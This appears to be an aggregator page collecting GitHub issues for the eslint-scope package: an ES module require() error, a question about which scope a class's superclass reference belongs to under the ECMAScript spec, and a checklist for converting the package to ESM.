require() of /home/vsts/work/1/s/node_modules/eslint-scope/lib/definition.js from /home/vsts/work/1/s/node_modules/babel-eslint/lib/require-from-eslint.js is an ES module file as it is a .js file whose nearest parent package.json contains "type": "module" which defines all .js files in that package scope as ES modules.
Instead rename definition.js to end in .cjs, change the requiring code to use import(), or remove "type": "module" from /home/vsts/work/1/s/node_modules/eslint-scope/package.json```

Is a class's heritage referenced from the wrong scope?

Am I misunderstanding the spec here?
I'm new to attempting to read the ECMAScript spec, so I wouldn't be surprised if I'm wrong...

To me it looks like the superclass is referenced from within the class's scope:

https://www.ecma-international.org/ecma-262/8.0/#sec-runtime-semantics-classdefinitionevaluation

  1. Let lex be the LexicalEnvironment of the running execution context.
  2. Let classScope be NewDeclarativeEnvironment(lex).
  3. ...
  4. If className is not undefined, then
    a) ...
  5. If ClassHeritage_opt is not present, then
    a) ...
  6. Else,
    a) Set the running execution context's LexicalEnvironment to classScope.
    b) Let superclass be the result of evaluating ClassHeritage.
    c) ...
  7. ...

When superclass is evaluated, it is specifically within classScope. So this means the reference should be placed within the class scope, right?

However, the scope manager references the superclass before it nests the class scope (i.e. it is referenced from the parent's scope):

visitClass(node) {
if (node.type === Syntax.ClassDeclaration) {
this.currentScope().__define(node.id,
new Definition(
Variable.ClassName,
node.id,
node,
null,
null,
null
));
}
this.visit(node.superClass);
this.scopeManager.__nestClassScope(node);


I tried to dig through the old escope history, but there's no information attached to the commit (estools/escope@c3e23e2)

Convert package to ESM

To convert this package from CommonJS to ECMAScript modules (ESM):

  • Add type: module to package.json
  • Convert files in lib to ESM
  • Convert files in tests/lib to ESM
  • Upgrade Mocha
  • Create build script in package.json to generate CommonJS file (.cjs) in dist directory (use Rollup)
  • Add dist to .gitignore
  • Run build in prepare script in package.json to ensure build is run at key moments
  • Update package.json so that main points in the CJS file in dist and exports provides both require and import options
  • Update README instructions

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.